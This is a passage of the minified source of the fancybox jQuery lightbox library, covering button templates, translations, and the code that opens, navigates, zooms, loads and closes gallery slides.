class="fancybox-error"><p>{{ERROR}}</p></div>',btnTpl:{download:'<a download data-fancybox-download class="fancybox-button fancybox-button--download" title="{{DOWNLOAD}}" href="javascript:;"><svg viewBox="0 0 40 40"><path d="M13,16 L20,23 L27,16 M20,7 L20,23 M10,24 L10,28 L30,28 L30,24" /></svg></a>',zoom:'<button data-fancybox-zoom class="fancybox-button fancybox-button--zoom" title="{{ZOOM}}"><svg viewBox="0 0 40 40"><path d="M18,17 m-8,0 a8,8 0 1,0 16,0 a8,8 0 1,0 -16,0 M24,22 L31,29" /></svg></button>',close:'<button data-fancybox-close class="fancybox-button fancybox-button--close" title="{{CLOSE}}"><svg viewBox="0 0 40 40"><path d="M10,10 L30,30 M30,10 L10,30" /></svg></button>',smallBtn:'<button data-fancybox-close class="fancybox-close-small" title="{{CLOSE}}"><svg viewBox="0 0 32 32"><path d="M10,10 L22,22 M22,10 L10,22"></path></svg></button>',arrowLeft:'<a data-fancybox-prev class="fancybox-button fancybox-button--arrow_left" title="{{PREV}}" href="javascript:;"><svg viewBox="0 0 40 40"><path d="M18,12 L10,20 L18,28 M10,20 L30,20"></path></svg></a>',arrowRight:'<a data-fancybox-next class="fancybox-button fancybox-button--arrow_right" title="{{NEXT}}" href="javascript:;"><svg viewBox="0 0 40 40"><path d="M10,20 L30,20 M22,12 L30,20 L22,28"></path></svg></a>'},parentEl:"body",autoFocus:!1,backFocus:!0,trapFocus:!0,fullScreen:{autoStart:!1},touch:{vertical:!0,momentum:!0},hash:null,media:{},slideShow:{autoStart:!1,speed:4e3},thumbs:{autoStart:!1,hideOnClose:!0,parentEl:".fancybox-container",axis:"y"},wheel:"auto",onInit:n.noop,beforeLoad:n.noop,afterLoad:n.noop,beforeShow:n.noop,afterShow:n.noop,beforeClose:n.noop,afterClose:n.noop,onActivate:n.noop,onDeactivate:n.noop,clickContent:function(t,e){return"image"===t.type&&"zoom"},clickSlide:"close",clickOutside:"close",dblclickContent:!1,dblclickSlide:!1,dblclickOutside:!1,mobile:{idleTime:!1,clickContent:function(t,e){return"image"===t.type&&"toggleControls"},clickSlide:function(t,e){return"image"===t.type?"toggleControls":"close"},dblclickContent:function(t,e){return"image"===t.type&&"zoom"},dblclickSlide:function(t,e){return"image"===t.type&&"zoom"}},lang:"en",i18n:{en:{CLOSE:"Close",NEXT:"Next",PREV:"Previous",ERROR:"The requested content cannot be loaded. <br/> Please try again later.",PLAY_START:"Start slideshow",PLAY_STOP:"Pause slideshow",FULL_SCREEN:"Full screen",THUMBS:"Thumbnails",DOWNLOAD:"Download",SHARE:"Share",ZOOM:"Zoom"},de:{CLOSE:"Schliessen",NEXT:"Weiter",PREV:"Zurück",ERROR:"Die angeforderten Daten konnten nicht geladen werden. <br/> Bitte versuchen Sie es später nochmal.",PLAY_START:"Diaschau starten",PLAY_STOP:"Diaschau beenden",FULL_SCREEN:"Vollbild",THUMBS:"Vorschaubilder",DOWNLOAD:"Herunterladen",SHARE:"Teilen",ZOOM:"Maßstab"}}},s=n(t),r=n(e),c=0,l=function(t){return t&&t.hasOwnProperty&&t instanceof n},d=function(){return t.requestAnimationFrame||t.webkitRequestAnimationFrame||t.mozRequestAnimationFrame||t.oRequestAnimationFrame||function(e){return t.setTimeout(e,1e3/60)}}(),u=function(){var t,n=e.createElement("fakeelement"),i={transition:"transitionend",OTransition:"oTransitionEnd",MozTransition:"transitionend",WebkitTransition:"webkitTransitionEnd"};for(t in i)if(n.style[t]!==o)return i[t];return"transitionend"}(),f=function(t){return t&&t.length&&t[0].offsetHeight},p=function(t,e){var o=n.extend(!0,{},t,e);return n.each(e,function(t,e){n.isArray(e)&&(o[t]=e)}),o},h=function(t,o,i){var a=this;a.opts=p({index:i},n.fancybox.defaults),n.isPlainObject(o)&&(a.opts=p(a.opts,o)),n.fancybox.isMobile&&(a.opts=p(a.opts,a.opts.mobile)),a.id=a.opts.id||++c,a.currIndex=parseInt(a.opts.index,10)||0,a.prevIndex=null,a.prevPos=null,a.currPos=0,a.firstRun=!0,a.group=[],a.slides={},a.addContent(t),a.group.length&&(a.$lastFocus=n(e.activeElement).trigger("blur"),a.init())};n.extend(h.prototype,{init:function(){var i,a,r,c=this,l=c.group[c.currIndex],d=l.opts,u=n.fancybox.scrollbarWidth;"image"===l.type||!/iPad|iPhone|iPod/.test(navigator.userAgent)||t.MSStream||n("body").hasClass("fancybox-iosfix")||n("body").addClass("fancybox-iosfix").css("top",-s.scrollTop()),n.fancybox.getInstance()||(n("body").addClass("fancybox-active"),!n.fancybox.isMobile&&e.body.scrollHeight>t.innerHeight&&(u===o&&(i=n('<div style="width:50px;height:50px;overflow:scroll;" />').appendTo("body"),u=n.fancybox.scrollbarWidth=i[0].offsetWidth-i[0].clientWidth,i.remove()),n("head").append('<style id="fancybox-style-noscroll" type="text/css">.compensate-for-scrollbar { margin-right: '+u+"px; }</style>"),n("body").addClass("compensate-for-scrollbar"))),r="",n.each(d.buttons,function(t,e){r+=d.btnTpl[e]||""}),a=n(c.translate(c,d.baseTpl.replace("{{buttons}}",r).replace("{{arrows}}",d.btnTpl.arrowLeft+d.btnTpl.arrowRight))).attr("id","fancybox-container-"+c.id).addClass("fancybox-is-hidden").addClass(d.baseClass).data("FancyBox",c).appendTo(d.parentEl),c.$refs={container:a},["bg","inner","infobar","toolbar","stage","caption","navigation"].forEach(function(t){c.$refs[t]=a.find(".fancybox-"+t)}),c.trigger("onInit"),c.activate(),c.jumpTo(c.currIndex)},translate:function(t,e){var n=t.opts.i18n[t.opts.lang];return e.replace(/\{\{(\w+)\}\}/g,function(t,e){var i=n[e];return i===o?t:i})},addContent:function(t){var e,i=this,a=n.makeArray(t);n.each(a,function(t,e){var a,s,r,c,l,d={},u={};n.isPlainObject(e)?(d=e,u=e.opts||e):"object"===n.type(e)&&n(e).length?(a=n(e),u=a.data()||{},u=n.extend(!0,{},u,u.options),u.$orig=a,d.src=i.opts.src||u.src||a.attr("href"),d.type||d.src||(d.type="inline",d.src=e)):d={type:"html",src:e+""},d.opts=n.extend(!0,{},i.opts,u),n.isArray(u.buttons)&&(d.opts.buttons=u.buttons),s=d.type||d.opts.type,c=d.src||"",!s&&c&&((r=c.match(/\.(mp4|mov|ogv)((\?|#).*)?$/i))?(s="video",d.opts.videoFormat||(d.opts.videoFormat="video/"+("ogv"===r[1]?"ogg":r[1]))):c.match(/(^data:image\/[a-z0-9+\/=]*,)|(\.(jp(e|g|eg)|gif|png|bmp|webp|svg|ico)((\?|#).*)?$)/i)?s="image":c.match(/\.(pdf)((\?|#).*)?$/i)?s="iframe":"#"===c.charAt(0)&&(s="inline")),s?d.type=s:i.trigger("objectNeedsType",d),d.contentType||(d.contentType=n.inArray(d.type,["html","inline","ajax"])>-1?"html":d.type),d.index=i.group.length,"auto"==d.opts.smallBtn&&(d.opts.smallBtn=n.inArray(d.type,["html","inline","ajax"])>-1),"auto"===d.opts.toolbar&&(d.opts.toolbar=!d.opts.smallBtn),d.opts.$trigger&&d.index===i.opts.index&&(d.opts.$thumb=d.opts.$trigger.find("img:first")),d.opts.$thumb&&d.opts.$thumb.length||!d.opts.$orig||(d.opts.$thumb=d.opts.$orig.find("img:first")),"function"===n.type(d.opts.caption)&&(d.opts.caption=d.opts.caption.apply(e,[i,d])),"function"===n.type(i.opts.caption)&&(d.opts.caption=i.opts.caption.apply(e,[i,d])),d.opts.caption instanceof n||(d.opts.caption=d.opts.caption===o?"":d.opts.caption+""),"ajax"===d.type&&(l=c.split(/\s+/,2),l.length>1&&(d.src=l.shift(),d.opts.filter=l.shift())),d.opts.modal&&(d.opts=n.extend(!0,d.opts,{infobar:0,toolbar:0,smallBtn:0,keyboard:0,slideShow:0,fullScreen:0,thumbs:0,touch:0,clickContent:!1,clickSlide:!1,clickOutside:!1,dblclickContent:!1,dblclickSlide:!1,dblclickOutside:!1})),i.group.push(d)}),Object.keys(i.slides).length&&(i.updateControls(),e=i.Thumbs,e&&e.isActive&&(e.create(),e.focus()))},addEvents:function(){var o=this;o.removeEvents(),o.$refs.container.on("click.fb-close","[data-fancybox-close]",function(t){t.stopPropagation(),t.preventDefault(),o.close(t)}).on("touchstart.fb-prev click.fb-prev","[data-fancybox-prev]",function(t){t.stopPropagation(),t.preventDefault(),o.previous()}).on("touchstart.fb-next click.fb-next","[data-fancybox-next]",function(t){t.stopPropagation(),t.preventDefault(),o.next()}).on("click.fb","[data-fancybox-zoom]",function(t){o[o.isScaledDown()?"scaleToActual":"scaleToFit"]()}),s.on("orientationchange.fb resize.fb",function(t){t&&t.originalEvent&&"resize"===t.originalEvent.type?d(function(){o.update()}):(o.$refs.stage.hide(),setTimeout(function(){o.$refs.stage.show(),o.update()},n.fancybox.isMobile?600:250))}),r.on("focusin.fb",function(t){var o=n.fancybox?n.fancybox.getInstance():null;o.isClosing||!o.current||!o.current.opts.trapFocus||n(t.target).hasClass("fancybox-container")||n(t.target).is(e)||o&&"fixed"!==n(t.target).css("position")&&!o.$refs.container.has(t.target).length&&(t.stopPropagation(),o.focus())}),r.on("keydown.fb",function(t){var e=o.current,i=t.keyCode||t.which;if(e&&e.opts.keyboard&&!(t.ctrlKey||t.altKey||t.shiftKey||n(t.target).is("input")||n(t.target).is("textarea")))return 8===i||27===i?(t.preventDefault(),void o.close(t)):37===i||38===i?(t.preventDefault(),void o.previous()):39===i||40===i?(t.preventDefault(),void o.next()):void o.trigger("afterKeydown",t,i)}),o.group[o.currIndex].opts.idleTime&&(o.idleSecondsCounter=0,r.on("mousemove.fb-idle mouseleave.fb-idle mousedown.fb-idle touchstart.fb-idle touchmove.fb-idle scroll.fb-idle keydown.fb-idle",function(t){o.idleSecondsCounter=0,o.isIdle&&o.showControls(),o.isIdle=!1}),o.idleInterval=t.setInterval(function(){o.idleSecondsCounter++,o.idleSecondsCounter>=o.group[o.currIndex].opts.idleTime&&!o.isDragging&&(o.isIdle=!0,o.idleSecondsCounter=0,o.hideControls())},1e3))},removeEvents:function(){var e=this;s.off("orientationchange.fb resize.fb"),r.off("focusin.fb keydown.fb .fb-idle"),this.$refs.container.off(".fb-close .fb-prev .fb-next"),e.idleInterval&&(t.clearInterval(e.idleInterval),e.idleInterval=null)},previous:function(t){return this.jumpTo(this.currPos-1,t)},next:function(t){return this.jumpTo(this.currPos+1,t)},jumpTo:function(t,e){var i,a,s,r,c,l,d,u=this,p=u.group.length;if(!(u.isDragging||u.isClosing||u.isAnimating&&u.firstRun)){if(t=parseInt(t,10),a=u.current?u.current.opts.loop:u.opts.loop,!a&&(t<0||t>=p))return!1;if(i=u.firstRun=!Object.keys(u.slides).length,!(p<2&&!i&&u.isDragging)){if(r=u.current,u.prevIndex=u.currIndex,u.prevPos=u.currPos,s=u.createSlide(t),p>1&&((a||s.index>0)&&u.createSlide(t-1),(a||s.index<p-1)&&u.createSlide(t+1)),u.current=s,u.currIndex=s.index,u.currPos=s.pos,u.trigger("beforeShow",i),u.updateControls(),l=n.fancybox.getTranslate(s.$slide),s.isMoved=(0!==l.left||0!==l.top)&&!s.$slide.hasClass("fancybox-animated"),s.forcedDuration=o,n.isNumeric(e)?s.forcedDuration=e:e=s.opts[i?"animationDuration":"transitionDuration"],e=parseInt(e,10),i)return s.opts.animationEffect&&e&&u.$refs.container.css("transition-duration",e+"ms"),u.$refs.container.removeClass("fancybox-is-hidden"),f(u.$refs.container),u.$refs.container.addClass("fancybox-is-open"),f(u.$refs.container),s.$slide.addClass("fancybox-slide--previous"),u.loadSlide(s),s.$slide.removeClass("fancybox-slide--previous").addClass("fancybox-slide--current"),void u.preload("image");n.each(u.slides,function(t,e){n.fancybox.stop(e.$slide)}),s.$slide.removeClass("fancybox-slide--next fancybox-slide--previous").addClass("fancybox-slide--current"),s.isMoved?(c=Math.round(s.$slide.width()),n.each(u.slides,function(t,o){var i=o.pos-s.pos;n.fancybox.animate(o.$slide,{top:0,left:i*c+i*o.opts.gutter},e,function(){o.$slide.removeAttr("style").removeClass("fancybox-slide--next fancybox-slide--previous"),o.pos===u.currPos&&(s.isMoved=!1,u.complete())})})):u.$refs.stage.children().removeAttr("style"),s.isLoaded?u.revealContent(s):u.loadSlide(s),u.preload("image"),r.pos!==s.pos&&(d="fancybox-slide--"+(r.pos>s.pos?"next":"previous"),r.$slide.removeClass("fancybox-slide--complete fancybox-slide--current fancybox-slide--next fancybox-slide--previous"),r.isComplete=!1,e&&(s.isMoved||s.opts.transitionEffect)&&(s.isMoved?r.$slide.addClass(d):(d="fancybox-animated "+d+" fancybox-fx-"+s.opts.transitionEffect,n.fancybox.animate(r.$slide,d,e,function(){r.$slide.removeClass(d).removeAttr("style")}))))}}},createSlide:function(t){var e,o,i=this;return o=t%i.group.length,o=o<0?i.group.length+o:o,!i.slides[t]&&i.group[o]&&(e=n('<div class="fancybox-slide"></div>').appendTo(i.$refs.stage),i.slides[t]=n.extend(!0,{},i.group[o],{pos:t,$slide:e,isLoaded:!1}),i.updateSlide(i.slides[t])),i.slides[t]},scaleToActual:function(t,e,i){var a,s,r,c,l,d=this,u=d.current,f=u.$content,p=n.fancybox.getTranslate(u.$slide).width,h=n.fancybox.getTranslate(u.$slide).height,g=u.width,b=u.height;!d.isAnimating&&f&&"image"==u.type&&u.isLoaded&&!u.hasError&&(n.fancybox.stop(f),d.isAnimating=!0,t=t===o?.5*p:t,e=e===o?.5*h:e,a=n.fancybox.getTranslate(f),a.top-=n.fancybox.getTranslate(u.$slide).top,a.left-=n.fancybox.getTranslate(u.$slide).left,c=g/a.width,l=b/a.height,s=.5*p-.5*g,r=.5*h-.5*b,g>p&&(s=a.left*c-(t*c-t),s>0&&(s=0),s<p-g&&(s=p-g)),b>h&&(r=a.top*l-(e*l-e),r>0&&(r=0),r<h-b&&(r=h-b)),d.updateCursor(g,b),n.fancybox.animate(f,{top:r,left:s,scaleX:c,scaleY:l},i||330,function(){d.isAnimating=!1}),d.SlideShow&&d.SlideShow.isActive&&d.SlideShow.stop())},scaleToFit:function(t){var e,o=this,i=o.current,a=i.$content;!o.isAnimating&&a&&"image"==i.type&&i.isLoaded&&!i.hasError&&(n.fancybox.stop(a),o.isAnimating=!0,e=o.getFitPos(i),o.updateCursor(e.width,e.height),n.fancybox.animate(a,{top:e.top,left:e.left,scaleX:e.width/a.width(),scaleY:e.height/a.height()},t||330,function(){o.isAnimating=!1}))},getFitPos:function(t){var e,n,o,i,a,s=this,r=t.$content,c=t.width||t.opts.width,l=t.height||t.opts.height,d={};return!!(t.isLoaded&&r&&r.length)&&(i={top:parseInt(t.$slide.css("paddingTop"),10),right:parseInt(t.$slide.css("paddingRight"),10),bottom:parseInt(t.$slide.css("paddingBottom"),10),left:parseInt(t.$slide.css("paddingLeft"),10)},e=parseInt(s.$refs.stage.width(),10)-(i.left+i.right),n=parseInt(s.$refs.stage.height(),10)-(i.top+i.bottom),c&&l||(c=e,l=n),o=Math.min(1,e/c,n/l),c=Math.floor(o*c),l=Math.floor(o*l),"image"===t.type?(d.top=Math.floor(.5*(n-l))+i.top,d.left=Math.floor(.5*(e-c))+i.left):"video"===t.contentType&&(a=t.opts.width&&t.opts.height?c/l:t.opts.ratio||16/9,l>c/a?l=c/a:c>l*a&&(c=l*a)),d.width=c,d.height=l,d)},update:function(){var t=this;n.each(t.slides,function(e,n){t.updateSlide(n)})},updateSlide:function(t,e){var o=this,i=t&&t.$content,a=t.width||t.opts.width,s=t.height||t.opts.height;i&&(a||s||"video"===t.contentType)&&!t.hasError&&(n.fancybox.stop(i),n.fancybox.setTranslate(i,o.getFitPos(t)),t.pos===o.currPos&&(o.isAnimating=!1,o.updateCursor())),t.$slide.trigger("refresh"),o.$refs.toolbar.toggleClass("compensate-for-scrollbar",t.$slide.get(0).scrollHeight>t.$slide.get(0).clientHeight),o.trigger("onUpdate",t)},centerSlide:function(t,e){var i,a,s=this;s.current&&(i=Math.round(t.$slide.width()),a=t.pos-s.current.pos,n.fancybox.animate(t.$slide,{top:0,left:a*i+a*t.opts.gutter,opacity:1},e===o?0:e,null,!1))},updateCursor:function(t,e){var o,i=this,a=i.current,s=i.$refs.container.removeClass("fancybox-is-zoomable fancybox-can-zoomIn fancybox-can-drag fancybox-can-zoomOut");a&&!i.isClosing&&(o=i.isZoomable(),s.toggleClass("fancybox-is-zoomable",o),n("[data-fancybox-zoom]").prop("disabled",!o),o&&("zoom"===a.opts.clickContent||n.isFunction(a.opts.clickContent)&&"zoom"===a.opts.clickContent(a))?i.isScaledDown(t,e)?s.addClass("fancybox-can-zoomIn"):a.opts.touch?s.addClass("fancybox-can-drag"):s.addClass("fancybox-can-zoomOut"):a.opts.touch&&"video"!==a.contentType&&s.addClass("fancybox-can-drag"))},isZoomable:function(){var t,e=this,n=e.current;if(n&&!e.isClosing&&"image"===n.type&&!n.hasError){if(!n.isLoaded)return!0;if(t=e.getFitPos(n),n.width>t.width||n.height>t.height)return!0}return!1},isScaledDown:function(t,e){var i=this,a=!1,s=i.current,r=s.$content;return t!==o&&e!==o?a=t<s.width&&e<s.height:r&&(a=n.fancybox.getTranslate(r),a=a.width<s.width&&a.height<s.height),a},canPan:function(){var t,e=this,n=!1,o=e.current;return"image"===o.type&&(t=o.$content)&&!o.hasError&&(n=e.getFitPos(o),n=Math.abs(t.width()-n.width)>1||Math.abs(t.height()-n.height)>1),n},loadSlide:function(t){var e,o,i,a=this;if(!t.isLoading&&!t.isLoaded){switch(t.isLoading=!0,a.trigger("beforeLoad",t),e=t.type,o=t.$slide,o.off("refresh").trigger("onReset").addClass(t.opts.slideClass),e){case"image":a.setImage(t);break;case"iframe":a.setIframe(t);break;case"html":a.setContent(t,t.src||t.content);break;case"video":a.setContent(t,'<video class="fancybox-video" controls controlsList="nodownload"><source src="'+t.src+'" type="'+t.opts.videoFormat+"\">Your browser doesn't support HTML5 video</video");break;case"inline":n(t.src).length?a.setContent(t,n(t.src)):a.setError(t);break;case"ajax":a.showLoading(t),i=n.ajax(n.extend({},t.opts.ajax.settings,{url:t.src,success:function(e,n){"success"===n&&a.setContent(t,e)},error:function(e,n){e&&"abort"!==n&&a.setError(t)}})),o.one("onReset",function(){i.abort()});break;default:a.setError(t)}return!0}},setImage:function(e){var o,i,a,s,r,c=this,l=e.opts.srcset||e.opts.image.srcset;if(e.timouts=setTimeout(function(){var t=e.$image;!e.isLoading||t&&t[0].complete||e.hasError||c.showLoading(e)},300),l){s=t.devicePixelRatio||1,r=t.innerWidth*s,a=l.split(",").map(function(t){var e={};return t.trim().split(/\s+/).forEach(function(t,n){var o=parseInt(t.substring(0,t.length-1),10);return 0===n?e.url=t:void(o&&(e.value=o,e.postfix=t[t.length-1]))}),e}),a.sort(function(t,e){return t.value-e.value});for(var d=0;d<a.length;d++){var u=a[d];if("w"===u.postfix&&u.value>=r||"x"===u.postfix&&u.value>=s){i=u;break}}!i&&a.length&&(i=a[a.length-1]),i&&(e.src=i.url,e.width&&e.height&&"w"==i.postfix&&(e.height=e.width/e.height*i.value,e.width=i.value),e.opts.srcset=l)}e.$content=n('<div class="fancybox-content"></div>').addClass("fancybox-is-hidden").appendTo(e.$slide.addClass("fancybox-slide--image")),o=e.opts.thumb||!(!e.opts.$thumb||!e.opts.$thumb.length)&&e.opts.$thumb.attr("src"),e.opts.preload!==!1&&e.opts.width&&e.opts.height&&o&&(e.width=e.opts.width,e.height=e.opts.height,e.$ghost=n("<img />").one("error",function(){n(this).remove(),e.$ghost=null}).one("load",function(){c.afterLoad(e)}).addClass("fancybox-image").appendTo(e.$content).attr("src",o)),c.setBigImage(e)},setBigImage:function(t){var e=this,o=n("<img />");t.$image=o.one("error",function(){e.setError(t)}).one("load",function(){var n;t.$ghost||(e.resolveImageSlideSize(t,this.naturalWidth,this.naturalHeight),e.afterLoad(t)),t.timouts&&(clearTimeout(t.timouts),t.timouts=null),e.isClosing||(t.opts.srcset&&(n=t.opts.sizes,n&&"auto"!==n||(n=(t.width/t.height>1&&s.width()/s.height()>1?"100":Math.round(t.width/t.height*100))+"vw"),o.attr("sizes",n).attr("srcset",t.opts.srcset)),t.$ghost&&setTimeout(function(){t.$ghost&&!e.isClosing&&t.$ghost.hide()},Math.min(300,Math.max(1e3,t.height/1600))),e.hideLoading(t))}).addClass("fancybox-image").attr("src",t.src).appendTo(t.$content),(o[0].complete||"complete"==o[0].readyState)&&o[0].naturalWidth&&o[0].naturalHeight?o.trigger("load"):o[0].error&&o.trigger("error")},resolveImageSlideSize:function(t,e,n){var o=parseInt(t.opts.width,10),i=parseInt(t.opts.height,10);t.width=e,t.height=n,o>0&&(t.width=o,t.height=Math.floor(o*n/e)),i>0&&(t.width=Math.floor(i*e/n),t.height=i)},setIframe:function(t){var e,i=this,a=t.opts.iframe,s=t.$slide;t.$content=n('<div class="fancybox-content'+(a.preload?" fancybox-is-hidden":"")+'"></div>').css(a.css).appendTo(s),s.addClass("fancybox-slide--"+t.contentType),t.$iframe=e=n(a.tpl.replace(/\{rnd\}/g,(new Date).getTime())).attr(a.attr).appendTo(t.$content),a.preload?(i.showLoading(t),e.on("load.fb error.fb",function(e){this.isReady=1,t.$slide.trigger("refresh"),i.afterLoad(t)}),s.on("refresh.fb",function(){var n,i,s=t.$content,r=a.css.width,c=a.css.height;if(1===e[0].isReady){try{n=e.contents(),i=n.find("body")}catch(t){}i&&i.length&&i.children().length&&(s.css({width:"",height:""}),r===o&&(r=Math.ceil(Math.max(i[0].clientWidth,i.outerWidth(!0)))),r&&s.width(r),c===o&&(c=Math.ceil(Math.max(i[0].clientHeight,i.outerHeight(!0)))),c&&s.height(c)),s.removeClass("fancybox-is-hidden")}})):this.afterLoad(t),e.attr("src",t.src),s.one("onReset",function(){try{n(this).find("iframe").hide().unbind().attr("src","//about:blank")}catch(t){}n(this).off("refresh.fb").empty(),t.isLoaded=!1})},setContent:function(t,e){var o=this;o.isClosing||(o.hideLoading(t),t.$content&&n.fancybox.stop(t.$content),t.$slide.empty(),l(e)&&e.parent().length?(e.parent().parent(".fancybox-slide--inline").trigger("onReset"),t.$placeholder=n("<div>").hide().insertAfter(e),e.css("display","inline-block")):t.hasError||("string"===n.type(e)&&(e=n("<div>").append(n.trim(e)).contents(),3===e[0].nodeType&&(e=n("<div>").html(e))),t.opts.filter&&(e=n("<div>").html(e).find(t.opts.filter))),t.$slide.one("onReset",function(){n(this).find("video,audio").trigger("pause"),t.$placeholder&&(t.$placeholder.after(e.hide()).remove(),t.$placeholder=null),t.$smallBtn&&(t.$smallBtn.remove(),t.$smallBtn=null),t.hasError||(n(this).empty(),t.isLoaded=!1)}),n(e).appendTo(t.$slide),n(e).is("video,audio")&&(n(e).addClass("fancybox-video"),n(e).wrap("<div></div>"),t.contentType="video",t.opts.width=t.opts.width||n(e).attr("width"),t.opts.height=t.opts.height||n(e).attr("height")),t.$content=t.$slide.children().filter("div,form,main,video,audio").first().addClass("fancybox-content"),t.$slide.addClass("fancybox-slide--"+t.contentType),this.afterLoad(t))},setError:function(t){t.hasError=!0,t.$slide.trigger("onReset").removeClass("fancybox-slide--"+t.contentType).addClass("fancybox-slide--error"),t.contentType="html",this.setContent(t,this.translate(t,t.opts.errorTpl)),t.pos===this.currPos&&(this.isAnimating=!1)},showLoading:function(t){var e=this;t=t||e.current,t&&!t.$spinner&&(t.$spinner=n(e.translate(e,e.opts.spinnerTpl)).appendTo(t.$slide))},hideLoading:function(t){var e=this;t=t||e.current,t&&t.$spinner&&(t.$spinner.remove(),delete t.$spinner)},afterLoad:function(t){var e=this;e.isClosing||(t.isLoading=!1,t.isLoaded=!0,e.trigger("afterLoad",t),e.hideLoading(t),t.pos===e.currPos&&e.updateCursor(),!t.opts.smallBtn||t.$smallBtn&&t.$smallBtn.length||(t.$smallBtn=n(e.translate(t,t.opts.btnTpl.smallBtn)).prependTo(t.$content)),t.opts.protect&&t.$content&&!t.hasError&&(t.$content.on("contextmenu.fb",function(t){return 2==t.button&&t.preventDefault(),!0}),"image"===t.type&&n('<div class="fancybox-spaceball"></div>').appendTo(t.$content)),e.revealContent(t))},revealContent:function(t){var e,i,a,s,r=this,c=t.$slide,l=!1,d=!1;return e=t.opts[r.firstRun?"animationEffect":"transitionEffect"],a=t.opts[r.firstRun?"animationDuration":"transitionDuration"],a=parseInt(t.forcedDuration===o?a:t.forcedDuration,10),t.pos===r.currPos&&(t.isComplete?e=!1:r.isAnimating=!0),!t.isMoved&&t.pos===r.currPos&&a||(e=!1),"zoom"===e&&(t.pos===r.currPos&&a&&"image"===t.type&&!t.hasError&&(d=r.getThumbPos(t))?l=r.getFitPos(t):e="fade"),"zoom"===e?(l.scaleX=l.width/d.width,l.scaleY=l.height/d.height,s=t.opts.zoomOpacity,"auto"==s&&(s=Math.abs(t.width/t.height-d.width/d.height)>.1),s&&(d.opacity=.1,l.opacity=1),n.fancybox.setTranslate(t.$content.removeClass("fancybox-is-hidden"),d),f(t.$content),void n.fancybox.animate(t.$content,l,a,function(){r.isAnimating=!1,r.complete()})):(r.updateSlide(t),e?(n.fancybox.stop(c),i="fancybox-animated fancybox-slide--"+(t.pos>=r.prevPos?"next":"previous")+" fancybox-fx-"+e,c.removeAttr("style").removeClass("fancybox-slide--current fancybox-slide--next fancybox-slide--previous").addClass(i),t.$content.removeClass("fancybox-is-hidden"),f(c),void n.fancybox.animate(c,"fancybox-slide--current",a,function(e){c.removeClass(i).removeAttr("style"),t.pos===r.currPos&&r.complete()},!0)):(f(c),t.$content.removeClass("fancybox-is-hidden"),void(t.pos===r.currPos&&r.complete())))},getThumbPos:function(o){var i,a=this,s=!1,r=o.opts.$thumb,c=r?r.offset():0,l=function(e){for(var o,i=e[0],a=i.getBoundingClientRect(),s=[];null!==i.parentElement;)"hidden"!==n(i.parentElement).css("overflow")&&"auto"!==n(i.parentElement).css("overflow")||s.push(i.parentElement.getBoundingClientRect()),i=i.parentElement;return o=s.every(function(t){var e=Math.min(a.right,t.right)-Math.max(a.left,t.left),n=Math.min(a.bottom,t.bottom)-Math.max(a.top,t.top);return e>0&&n>0}),o&&a.bottom>0&&a.right>0&&a.left<n(t).width()&&a.top<n(t).height()};return c&&r[0].ownerDocument===e&&l(r)&&(i=a.$refs.stage.offset(),s={top:c.top-i.top+parseFloat(r.css("border-top-width")||0),left:c.left-i.left+parseFloat(r.css("border-left-width")||0),width:r.width(),height:r.height(),scaleX:1,scaleY:1}),s},complete:function(){var t=this,o=t.current,i={};!o.isMoved&&o.isLoaded&&(o.isComplete||(o.isComplete=!0,o.$slide.siblings().trigger("onReset"),t.preload("inline"),f(o.$slide),o.$slide.addClass("fancybox-slide--complete"),n.each(t.slides,function(e,o){o.pos>=t.currPos-1&&o.pos<=t.currPos+1?i[o.pos]=o:o&&(n.fancybox.stop(o.$slide),o.$slide.off().remove())}),t.slides=i),t.isAnimating=!1,t.updateCursor(),t.trigger("afterShow"),o.$slide.find("video,audio").filter(":visible:first").trigger("play"),(n(e.activeElement).is("[disabled]")||o.opts.autoFocus&&"image"!=o.type&&"iframe"!==o.type)&&t.focus())},preload:function(t){var e=this,n=e.slides[e.currPos+1],o=e.slides[e.currPos-1];n&&n.type===t&&e.loadSlide(n),o&&o.type===t&&e.loadSlide(o)},focus:function(){var t,e=this.current;this.isClosing||e&&e.isComplete&&e.$content&&(t=e.$content.find("input[autofocus]:enabled:visible:first"),t.length||(t=e.$content.find("button,:input,[tabindex],a").filter(":enabled:visible:first")),t=t&&t.length?t:e.$content,t.trigger("focus"))},activate:function(){var t=this;n(".fancybox-container").each(function(){var e=n(this).data("FancyBox");e&&e.id!==t.id&&!e.isClosing&&(e.trigger("onDeactivate"),e.removeEvents(),e.isVisible=!1)}),t.isVisible=!0,(t.current||t.isIdle)&&(t.update(),t.updateControls()),t.trigger("onActivate"),t.addEvents()},close:function(t,e){var o,i,a,s,r,c,l,p=this,h=p.current,g=function(){p.cleanUp(t)};return!p.isClosing&&(p.isClosing=!0,p.trigger("beforeClose",t)===!1?(p.isClosing=!1,d(function(){p.update()}),!1):(p.removeEvents(),h.timouts&&clearTimeout(h.timouts),a=h.$content,o=h.opts.animationEffect,i=n.isNumeric(e)?e:o?h.opts.animationDuration:0,h.$slide.off(u).removeClass("fancybox-slide--complete fancybox-slide--next fancybox-slide--previous fancybox-animated"),h.$slide.siblings().trigger("onReset").remove(),i&&p.$refs.container.removeClass("fancybox-is-open").addClass("fancybox-is-closing"),p.hideLoading(h),p.hideControls(),p.updateCursor(),"zoom"!==o||t!==!0&&a&&i&&"image"===h.type&&!h.hasError&&(l=p.getThumbPos(h))||(o="fade"),"zoom"===o?(n.fancybox.stop(a),s=n.fancybox.getTranslate(a),c={top:s.top,left:s.left,scaleX:s.width/l.width,scaleY:s.height/l.height,width:l.width,height:l.height},r=h.opts.zoomOpacity,"auto"==r&&(r=Math.abs(h.width/h.height-l.width/l.height)>.1),r&&(l.opacity=0),n.fancybox.setTranslate(a,c),f(a),n.fancybox.animate(a,l,i,g),!0):(o&&i?t===!0?setTimeout(g,i):n.fancybox.animate(h.$slide.removeClass("fancybox-slide--current"),"fancybox-animated fancybox-slide--previous fancybox-fx-"+o,i,g):g(),!0)))},cleanUp:function(t){var e,o,i=this,a=n("body");i.current.$slide.trigger("onReset"),i.$refs.container.empty().remove(),i.trigger("afterClose",t),i.$lastFocus&&i.current.opts.backFocus&&i.$lastFocus.trigger("focus"),i.current=null,e=n.fancybox.getInstance(),e?e.activate():(a.removeClass("fancybox-active compensate-for-scrollbar"),n("#fancybox-style-noscroll").remove(),a.hasClass("fancybox-iosfix")&&(o=parseInt(a[0].style.top,10),a.css("top","").removeClass("fancybox-iosfix"),s.scrollTop(-o)))},trigger:function(t,e){var o,i=Array.prototype.slice.call(arguments,1),a=this,s=e&&e.opts?e:a.current;return 